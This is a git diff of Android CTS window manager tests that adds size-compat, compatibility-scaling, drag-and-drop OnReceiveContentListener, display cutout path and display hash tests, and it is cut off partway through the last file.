diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
new file mode 100644
index 0000000..55acbda
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java
@@ -0,0 +1,189 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertNotNull;
+
+import android.app.Activity;
+import android.compat.testing.PlatformCompatChangeRule;
+import android.content.ComponentName;
+import android.content.pm.ActivityInfo;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.app.AbstractLifecycleLogActivity;
+
+import androidx.test.filters.FlakyTest;
+
+import libcore.junit.util.compat.CoreCompatChangeRule.EnableCompatChanges;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+
+/**
+ * The test is focused on compatibility changes that have an effect on WM logic, and tests that
+ * enabling these changes has the correct effect.
+ *
+ * This is achieved by launching a custom activity with certain properties (e.g., a resizeable
+ * portrait activity) that behaves in a certain way (e.g., enter size compat mode after resizing the
+ * display) and enabling a compatibility change (e.g., {@link ActivityInfo#FORCE_RESIZE_APP}) that
+ * changes that behavior (e.g., not enter size compat mode).
+ *
+ * The behavior without enabling a compatibility change is also tested as a baseline.
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:CompatChangeTests
+ */
+@Presubmit
+@FlakyTest(bugId = 182185145)
+public final class CompatChangeTests extends MultiDisplayTestBase {
+    private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY =
+            component(ResizeablePortraitActivity.class);
+    private static final ComponentName NON_RESIZEABLE_PORTRAIT_ACTIVITY =
+            component(NonResizeablePortraitActivity.class);
+    private static final ComponentName SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY =
+            component(SupportsSizeChangesPortraitActivity.class);
+
+    @Rule
+    public TestRule compatChangeRule = new PlatformCompatChangeRule();
+
+    private DisplayMetricsSession mDisplayMetricsSession;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mDisplayMetricsSession =
+                createManagedDisplayMetricsSession(DEFAULT_DISPLAY);
+    }
+
+    /**
+     * Test that a non-resizeable portrait activity enters size compat mode after resizing the
+     * display.
+     */
+    @Test
+    public void testSizeCompatForNonResizeableActivity() {
+        runSizeCompatTest(
+                NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ true);
+    }
+
+    /**
+     * Test that a non-resizeable portrait activity doesn't enter size compat mode after resizing
+     * the display, when the {@link ActivityInfo#FORCE_RESIZE_APP} compat change is enabled.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.FORCE_RESIZE_APP})
+    public void testSizeCompatForNonResizeableActivityForceResizeEnabled() {
+        runSizeCompatTest(
+                NON_RESIZEABLE_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ false);
+    }
+
+    /**
+     * Test that a resizeable portrait activity doesn't enter size compat mode after resizing
+     * the display.
+     */
+    @Test
+    public void testSizeCompatForResizeableActivity() {
+        runSizeCompatTest(RESIZEABLE_PORTRAIT_ACTIVITY,  /* inSizeCompatModeAfterResize= */ false);
+    }
+
+    /**
+     * Test that a non-resizeable portrait activity that supports size changes doesn't enter size
+     * compat mode after resizing the display.
+     */
+    @Test
+    public void testSizeCompatForSupportsSizeChangesActivity() {
+        runSizeCompatTest(
+                SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ false);
+    }
+
+    /**
+     * Test that a resizeable portrait activity enters size compat mode after resizing
+     * the display, when the {@link ActivityInfo#FORCE_NON_RESIZE_APP} compat change is enabled.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.FORCE_NON_RESIZE_APP})
+    public void testSizeCompatForResizeableActivityForceNonResizeEnabled() {
+        runSizeCompatTest(RESIZEABLE_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ true);
+    }
+
+    /**
+     * Test that a non-resizeable portrait activity that supports size changes enters size compat
+     * mode after resizing the display, when the {@link ActivityInfo#FORCE_NON_RESIZE_APP} compat
+     * change is enabled.
+     */
+    @Test
+    @EnableCompatChanges({ActivityInfo.FORCE_NON_RESIZE_APP})
+    public void testSizeCompatForSupportsSizeChangesActivityForceNonResizeEnabled() {
+        runSizeCompatTest(
+                SUPPORTS_SIZE_CHANGES_PORTRAIT_ACTIVITY, /* inSizeCompatModeAfterResize= */ true);
+    }
+
+    private void runSizeCompatTest(ComponentName activity, boolean inSizeCompatModeAfterResize) {
+        runSizeCompatTest(activity, /* resizeRatio= */ 0.5, inSizeCompatModeAfterResize);
+        mDisplayMetricsSession.restoreDisplayMetrics();
+        runSizeCompatTest(activity, /* resizeRatio= */ 2, inSizeCompatModeAfterResize);
+    }
+
+    private void runSizeCompatTest(ComponentName activity, double resizeRatio,
+            boolean inSizeCompatModeAfterResize) {
+        launchActivityOnDisplay(activity, DEFAULT_DISPLAY);
+
+        assertSizeCompatMode(activity, /* expectedInSizeCompatMode= */ false);
+
+        resizeDisplay(activity, resizeRatio);
+
+        assertSizeCompatMode(activity, inSizeCompatModeAfterResize);
+    }
+
+    private void assertSizeCompatMode(ComponentName activity, boolean expectedInSizeCompatMode) {
+        WindowManagerState.Activity activityContainer = mWmState.getActivity(activity);
+        assertNotNull(activityContainer);
+        if (expectedInSizeCompatMode) {
+            assertTrue("The Window should be in size compat mode",
+                    activityContainer.inSizeCompatMode());
+        } else {
+            assertFalse("The Window should not be in size compat mode",
+                    activityContainer.inSizeCompatMode());
+        }
+    }
+
+    private void resizeDisplay(ComponentName activity, double sizeRatio) {
+        mDisplayMetricsSession.changeDisplayMetrics(sizeRatio, /* densityRatio= */ 1);
+        mWmState.computeState(new WaitForValidActivityState(activity));
+    }
+
+    private static ComponentName component(Class<? extends Activity> activity) {
+        return new ComponentName(getInstrumentation().getContext(), activity);
+    }
+
+    public static class ResizeablePortraitActivity extends AbstractLifecycleLogActivity {
+    }
+
+    public static class NonResizeablePortraitActivity extends AbstractLifecycleLogActivity {
+    }
+
+    public static class SupportsSizeChangesPortraitActivity extends AbstractLifecycleLogActivity {
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatScaleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatScaleTests.java
new file mode 100644
index 0000000..1fbf1f3
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatScaleTests.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.UI_SCALING_TEST_ACTIVITY;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ComponentName;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+
+/**
+ * The test is focused on compatibility scaling, and tests the feature form two sides.
+ * 1. It checks that the applications "sees" the metrics in PXs, but the DP metrics remain the same.
+ * 2. It checks the WindowManagerServer state, and makes sure that the scaling is correctly
+ * reflected in the WindowState.
+ *
+ * This is achieved by launching a {@link android.server.wm.app.UiScalingTestActivity} and having it
+ * reporting the metrics it receives.
+ * The Activity also draws 3 UI elements: a text, a red square with a 100dp side and a blue square
+ * with a 100px side.
+ * The text and the red square should have the same when rendered on the screen (by HWC) both when
+ * the compat downscaling is enabled and disabled.
+ * TODO(b/180098454): Add tests to make sure that the UI elements, which have their sizes declared
+ * in DPs (the text and the red square) have the same sizes on the screen (after composition).
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:CompatScaleTests
+ */
+@RunWith(Parameterized.class)
+public class CompatScaleTests extends ActivityManagerTestBase {
+
+    @Parameterized.Parameters(name = "{0}")
+    public static Iterable<Object[]> data() {
+        return Arrays.asList(new Object[][] {
+                { "DOWNSCALE_50", 0.5f },
+                { "DOWNSCALE_60", 0.6f },
+                { "DOWNSCALE_70", 0.7f },
+                { "DOWNSCALE_80", 0.8f },
+                { "DOWNSCALE_90", 0.9f },
+        });
+    }
+
+    private static final ComponentName ACTIVITY_UNDER_TEST = UI_SCALING_TEST_ACTIVITY;
+    private static final String PACKAGE_UNDER_TEST = ACTIVITY_UNDER_TEST.getPackageName();
+    private static final float EPSILON_GLOBAL_SCALE = 0.01f;
+
+    private final String mCompatChangeName;
+    private final float mCompatScale;
+    private final float mInvCompatScale;
+    private CommandSession.SizeInfo mAppSizesNormal;
+    private CommandSession.SizeInfo mAppSizesDownscaled;
+    private WindowManagerState.WindowState mWindowStateNormal;
+    private WindowManagerState.WindowState mWindowStateDownscaled;
+
+    public CompatScaleTests(String compatChangeName, float compatScale) {
+        mCompatChangeName = compatChangeName;
+        mCompatScale = compatScale;
+        mInvCompatScale = 1 / mCompatScale;
+    }
+
+    // TODO(b/180343437): replace @Before with @BeforeParam
+    @Before
+    public void launchInNormalAndDownscaleMode_collectSizesAndWindowState() {
+        // Launch activity with downscaling *disabled* and get the sizes it reports and its Window
+        // state.
+        launchActivity();
+        mAppSizesNormal = getActivityReportedSizes();
+        mWindowStateNormal = getPackageWindowState();
+
+        // Now launch the same activity with downscaling *enabled* and get the sizes it reports and
+        // its Window state.
+        enableDownscaling(mCompatChangeName);
+        launchActivity();
+        mAppSizesDownscaled = getActivityReportedSizes();
+        mWindowStateDownscaled = getPackageWindowState();
+    }
+
+    /**
+     * Tests that the Density DPI that the application receives from the
+     * {@link android.content.res.Configuration} is correctly scaled in the downscaled mode.
+     * @see android.content.res.Configuration#densityDpi
+     */
+    @Test
+    public void test_config_densityDpi_scalesCorrectly_inCompatDownscalingMode() {
+        assertScaled("Density DPI should scale by " + mCompatScale,
+                mAppSizesNormal.densityDpi, mCompatScale, mAppSizesDownscaled.densityDpi);
+    }
+
+    /**
+     * Tests that the screen sizes in DPs that the application receives from the
+     * {@link android.content.res.Configuration} are NOT scaled in the downscaled mode.
+     * @see android.content.res.Configuration#screenWidthDp
+     * @see android.content.res.Configuration#screenHeightDp
+     * @see android.content.res.Configuration#smallestScreenWidthDp
+     */
+    @Test
+    public void test_config_screenSize_inDPs_doesNotChange_inCompatDownscalingMode() {
+        assertEquals("Width shouldn't change",
+                mAppSizesNormal.widthDp, mAppSizesDownscaled.widthDp);
+        assertEquals("Height shouldn't change",
+                mAppSizesNormal.heightDp, mAppSizesDownscaled.heightDp);
+        assertEquals("Smallest Width shouldn't change",
+                mAppSizesNormal.smallestWidthDp, mAppSizesDownscaled.smallestWidthDp);
+    }
+
+    /**
+     * Tests that the Window sizes in PXs that the application receives from the
+     * {@link android.content.res.Configuration} are scaled correctly in the downscaled mode.
+     * @see android.content.res.Configuration#windowConfiguration
+     * @see android.app.WindowConfiguration#getBounds()
+     * @see android.app.WindowConfiguration#getAppBounds()
+     */
+    @Test
+    public void test_config_windowSizes_inPXs_scaleCorrectly_inCompatDownscalingMode() {
+        assertScaled("Width should scale by " + mCompatScale,
+                mAppSizesNormal.windowWidth, mCompatScale, mAppSizesDownscaled.windowWidth);
+        assertScaled("Height should scale by " + mCompatScale,
+                mAppSizesNormal.windowHeight, mCompatScale, mAppSizesDownscaled.windowHeight);
+        assertScaled("App width should scale by " + mCompatScale,
+                mAppSizesNormal.windowAppWidth, mCompatScale, mAppSizesDownscaled.windowAppWidth);
+        assertScaled("App height should scale by " + mCompatScale,
+                mAppSizesNormal.windowAppHeight, mCompatScale, mAppSizesDownscaled.windowAppHeight);
+    }
+
+    /**
+     * Tests that the {@link android.util.DisplayMetrics} in PXs that the application can obtain via
+     * {@link android.content.res.Resources#getDisplayMetrics()} are scaled correctly in the
+     * downscaled mode.
+     * @see android.util.DisplayMetrics#widthPixels
+     * @see android.util.DisplayMetrics#heightPixels
+     */
+    @Test
+    public void test_displayMetrics_inPXs_scaleCorrectly_inCompatDownscalingMode() {
+        assertScaled("Width should scale by " + mCompatScale,
+                mAppSizesNormal.metricsWidth, mCompatScale, mAppSizesDownscaled.metricsWidth);
+        assertScaled("Height should scale by " + mCompatScale,
+                mAppSizesNormal.metricsHeight, mCompatScale, mAppSizesDownscaled.metricsHeight);
+    }
+
+    /**
+     * Tests that the dimensions of a {@link android.view.Display} in PXs that the application can
+     * obtain via {@link android.view.View#getDisplay()} are scaled correctly in the downscaled
+     * mode.
+     * @see android.view.Display#getSize(android.graphics.Point)
+     */
+    @Test
+    public void test_displaySize_inPXs_scaleCorrectly_inCompatDownscalingMode() {
+        assertScaled("Width should scale by " + mCompatScale,
+                mAppSizesNormal.displayWidth, mCompatScale, mAppSizesDownscaled.displayWidth);
+        assertScaled("Height should scale by " + mCompatScale,
+                mAppSizesNormal.displayHeight, mCompatScale, mAppSizesDownscaled.displayHeight);
+    }
+
+    /**
+     * Test that compatibility downscaling is reflected correctly on the WM side.
+     * @see android.server.wm.WindowManagerState.WindowState
+     */
+    @Test
+    public void test_windowState_inCompatDownscalingMode() {
+        // Check the "normal" window's state for disabled compat mode and appropriate global scale.
+        assertFalse("The Window should not be in the size compat mode",
+                mWindowStateNormal.hasCompatScale());
+        assertEquals("The window should not be scaled",
+                1f, mWindowStateNormal.getGlobalScale(), EPSILON_GLOBAL_SCALE);
+
+        // Check the "downscaled" window's state for enabled compat mode and appropriate global
+        // scale.
+        assertTrue("The Window should be in the size compat mode",
+                mWindowStateDownscaled.hasCompatScale());
+        assertEquals("The window should have global scale of " + mInvCompatScale,
+                mInvCompatScale, mWindowStateDownscaled.getGlobalScale(), EPSILON_GLOBAL_SCALE);
+
+        // Make sure the frame sizes changed correctly.
+        assertEquals("Window frame on should not change",
+                mWindowStateNormal.getFrame(), mWindowStateDownscaled.getFrame());
+        assertScaled("Requested width should scale by " + mCompatScale,
+                mWindowStateNormal.getRequestedWidth(), mCompatScale,
+                mWindowStateDownscaled.getRequestedWidth());
+        assertScaled("Requested height should scale by " + mCompatScale,
+                mWindowStateNormal.getRequestedHeight(), mCompatScale,
+                mWindowStateDownscaled.getRequestedHeight());
+    }
+
+    @After
+    public void tearDown() {
+        disableDownscaling(mCompatChangeName);
+    }
+
+    private void launchActivity() {
+        launchActivityInNewTask(ACTIVITY_UNDER_TEST);
+        mWmState.computeState(new WaitForValidActivityState(ACTIVITY_UNDER_TEST));
+    }
+
+    private CommandSession.SizeInfo getActivityReportedSizes() {
+        final CommandSession.SizeInfo details =
+                getLastReportedSizesForActivity(ACTIVITY_UNDER_TEST);
+        assertNotNull(details);
+        return details;
+    }
+
+    private WindowManagerState.WindowState getPackageWindowState() {
+        return getPackageWindowState(PACKAGE_UNDER_TEST);
+    }
+
+    private static void enableDownscaling(String compatChangeName) {
+        executeShellCommand("am compat enable " + compatChangeName + " " + PACKAGE_UNDER_TEST);
+        executeShellCommand("am compat enable DOWNSCALED " + PACKAGE_UNDER_TEST);
+    }
+
+    private static void disableDownscaling(String compatChangeName) {
+        executeShellCommand("am compat disable DOWNSCALED " + PACKAGE_UNDER_TEST);
+        executeShellCommand("am compat disable " + compatChangeName + " " + PACKAGE_UNDER_TEST);
+    }
+
+    private static void assertScaled(String message, int baseValue, float expectedScale,
+            int actualValue) {
+        // In order to account for possible rounding errors, let's calculate the actual scale and
+        // compare it's against the expected scale (allowing a small delta).
+        final float actualScale = ((float) actualValue) / baseValue;
+        assertEquals(message, expectedScale, actualScale, EPSILON_GLOBAL_SCALE);
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index 2b7089d..a546e21 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -235,17 +235,8 @@
         }
     }
 
-    /** Helper class to save, set, and restore font_scale preferences. */
-    private static class FontScaleSession extends SettingsSession<Float> {
-        FontScaleSession() {
-            super(Settings.System.getUriFor(Settings.System.FONT_SCALE),
-                    Settings.System::getFloat,
-                    Settings.System::putFloat);
-        }
-    }
-
     private void testChangeFontScale(ComponentName activityName, boolean relaunch) {
-        final FontScaleSession fontScaleSession = mObjectTracker.manage(new FontScaleSession());
+        final FontScaleSession fontScaleSession = createFontScaleSession();
         fontScaleSession.set(1.0f);
         separateTestJournal();
         launchActivity(activityName);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 4336898..557559d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -17,11 +17,13 @@
 package android.server.wm;
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.UiDeviceUtils.dragPointer;
 import static android.server.wm.dndsourceapp.Components.DRAG_SOURCE;
 import static android.server.wm.dndtargetapp.Components.DROP_TARGET;
 import static android.server.wm.dndtargetappsdk23.Components.DROP_TARGET_SDK23;
 import static android.view.Display.DEFAULT_DISPLAY;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
@@ -37,17 +39,21 @@
 import android.server.wm.WindowManagerState.ActivityTask;
 import android.util.Log;
 import android.view.Display;
-import java.util.Map;
+
+import com.google.common.collect.ImmutableSet;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.Map;
+
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:CrossAppDragAndDropTests
  */
 @Presubmit
-@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_TASKS")
 public class CrossAppDragAndDropTests extends ActivityManagerTestBase {
     private static final String TAG = "CrossAppDragAndDrop";
 
@@ -70,6 +76,18 @@
     private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
     private static final String REQUEST_WRITE = "request_write";
 
+    private static final String TARGET_ON_RECEIVE_CONTENT_LISTENER_TEXT_VIEW =
+            "textview_on_receive_content_listener";
+    private static final String TARGET_ON_RECEIVE_CONTENT_LISTENER_EDIT_TEXT =
+            "edittext_on_receive_content_listener";
+    private static final String TARGET_ON_RECEIVE_CONTENT_LISTENER_LINEAR_LAYOUT =
+            "linearlayout_on_receive_content_listener";
+    private static final ImmutableSet<String> ON_RECEIVE_CONTENT_LISTENER_MODES = ImmutableSet.of(
+            TARGET_ON_RECEIVE_CONTENT_LISTENER_TEXT_VIEW,
+            TARGET_ON_RECEIVE_CONTENT_LISTENER_EDIT_TEXT,
+            TARGET_ON_RECEIVE_CONTENT_LISTENER_LINEAR_LAYOUT
+    );
+
     private static final String SOURCE_LOG_TAG = "DragSource";
     private static final String TARGET_LOG_TAG = "DropTarget";
 
@@ -111,7 +129,6 @@
         mTargetLogTag = TARGET_LOG_TAG + mSessionId;
 
         cleanupState();
-        mUseTaskOrganizer = false;
     }
 
     @After
@@ -136,7 +153,8 @@
      */
     private void launchFreeformActivity(ComponentName componentName, String mode,
             String logtag, Point displaySize, boolean leftSide) throws Exception {
-        launchActivity(componentName, WINDOWING_MODE_FREEFORM, "mode", mode, "logtag", logtag);
+        launchActivity(componentName, WINDOWING_MODE_FREEFORM, extraString("mode", mode),
+                extraString("logtag", logtag));
         Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
         Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
         resizeActivityTask(componentName, topLeft.x, topLeft.y, bottomRight.x, bottomRight.y);
@@ -192,7 +210,8 @@
             launchFreeformActivity(targetComponentName, targetMode, mTargetLogTag,
                 displaySize, false /* leftSide */);
         } else {
-            launchActivitiesInSplitScreen(getLaunchActivityBuilder()
+            launchActivitiesInSplitScreen
+                    (getLaunchActivityBuilder()
                     .setTargetActivity(sourceComponentName)
                     .setIntentExtra(bundle -> {
                         bundle.putString(EXTRA_MODE, sourceMode);
@@ -220,11 +239,16 @@
 
         mTargetResults = TestLogService.getResultsForClient(mTargetLogTag, 1000);
         assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
-        if (!RESULT_MISSING.equals(expectedDropResult)) {
-            assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
-            assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
+
+        // Skip the following assertions when testing OnReceiveContentListener, since it only
+        // handles drop events.
+        if (!ON_RECEIVE_CONTENT_LISTENER_MODES.contains(targetMode)) {
+            if (!RESULT_MISSING.equals(expectedDropResult)) {
+                assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
+                assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
+            }
+            assertListenerResults(expectedListenerResults);
         }
-        assertListenerResults(expectedListenerResults);
     }
 
     private void assertListenerResults(String expectedResult) throws Exception {
@@ -347,4 +371,37 @@
     public void testGrantWriteRequestWrite() throws Exception {
         assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
     }
+
+    @Test
+    public void testOnReceiveContentListener_TextView_GrantRead() throws Exception {
+        assertDropResult(GRANT_READ, TARGET_ON_RECEIVE_CONTENT_LISTENER_TEXT_VIEW, RESULT_OK);
+    }
+
+    @Test
+    public void testOnReceiveContentListener_TextView_GrantNone() throws Exception {
+        assertDropResult(GRANT_NONE, TARGET_ON_RECEIVE_CONTENT_LISTENER_TEXT_VIEW,
+                RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testOnReceiveContentListener_EditText_GrantRead() throws Exception {
+        assertDropResult(GRANT_READ, TARGET_ON_RECEIVE_CONTENT_LISTENER_EDIT_TEXT, RESULT_OK);
+    }
+
+    @Test
+    public void testOnReceiveContentListener_EditText_GrantNone() throws Exception {
+        assertDropResult(GRANT_NONE, TARGET_ON_RECEIVE_CONTENT_LISTENER_EDIT_TEXT,
+                RESULT_EXCEPTION);
+    }
+
+    @Test
+    public void testOnReceiveContentListener_LinearLayout_GrantRead() throws Exception {
+        assertDropResult(GRANT_READ, TARGET_ON_RECEIVE_CONTENT_LISTENER_LINEAR_LAYOUT, RESULT_OK);
+    }
+
+    @Test
+    public void testOnReceiveContentListener_LinearLayout_GrantNone() throws Exception {
+        assertDropResult(GRANT_NONE, TARGET_ON_RECEIVE_CONTENT_LISTENER_LINEAR_LAYOUT,
+                RESULT_EXCEPTION);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 9dd98b2..79d9e6d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -57,7 +57,7 @@
  *
  * TODO: Consolidate this class with {@link ParentChildTestBase}.
  */
-@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_TASKS")
 @Presubmit
 public class DialogFrameTests extends ParentChildTestBase<DialogFrameTestActivity> {
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
index e4f5d3d..28608d0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java
@@ -45,6 +45,7 @@
 import static org.hamcrest.Matchers.notNullValue;
 import static org.hamcrest.Matchers.nullValue;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
@@ -52,6 +53,7 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.graphics.Insets;
+import android.graphics.Path;
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.os.Bundle;
@@ -229,6 +231,31 @@
         });
     }
 
+    @Test
+    public void testDisplayCutout_CutoutPaths() {
+        runTest(LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS, (a, insets, displayCutout, which) -> {
+            if (displayCutout == null) {
+                return;
+            }
+            final Path cutoutPath = displayCutout.getCutoutPath();
+            assertCutoutPath(LEFT, displayCutout.getBoundingRectLeft(), cutoutPath);
+            assertCutoutPath(TOP, displayCutout.getBoundingRectTop(), cutoutPath);
+            assertCutoutPath(RIGHT, displayCutout.getBoundingRectRight(), cutoutPath);
+            assertCutoutPath(BOTTOM, displayCutout.getBoundingRectBottom(), cutoutPath);
+        });
+    }
+
+    private void assertCutoutPath(String position, Rect cutoutRect, Path cutoutPath) {
+        if (cutoutRect.isEmpty()) {
+            return;
+        }
+        final Path intersected = new Path();
+        intersected.addRect(cutoutRect.left, cutoutRect.top, cutoutRect.right, cutoutRect.bottom,
+                Path.Direction.CCW);
+        intersected.op(cutoutPath, Path.Op.INTERSECT);
+        assertFalse("Must have cutout path on " + position, intersected.isEmpty());
+    }
+
     private void runTest(int cutoutMode, TestDef test) {
         runTest(cutoutMode, test, orientation);
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
new file mode 100644
index 0000000..a909509
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayHashManagerTest.java
@@ -0,0 +1,454 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_NO_LIMITS;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_INVALID_BOUNDS;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_INVALID_HASH_ALGORITHM;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_NOT_VISIBLE_ON_SCREEN;
+import static android.view.displayhash.DisplayHashResultCallback.DISPLAY_HASH_ERROR_TOO_MANY_REQUESTS;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.view.Gravity;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.displayhash.DisplayHash;
+import android.view.displayhash.DisplayHashManager;
+import android.view.displayhash.DisplayHashResultCallback;
+import android.view.displayhash.VerifiedDisplayHash;
+import android.widget.RelativeLayout;
+
+import androidx.annotation.NonNull;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+@Presubmit
+public class DisplayHashManagerTest {
+    private final Point mTestViewSize = new Point(200, 300);
+
+    private Instrumentation mInstrumentation;
+    private RelativeLayout mMainView;
+    private TestActivity mActivity;
+
+    private View mTestView;
+
+    private DisplayHashManager mDisplayHashManager;
+    private String mFirstHashAlgorithm;
+
+    private Executor mExecutor;
+
+    private SyncDisplayHashResultCallback mSyncDisplayHashResultCallback;
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        Context context = mInstrumentation.getContext();
+        Intent intent = new Intent(Intent.ACTION_MAIN);
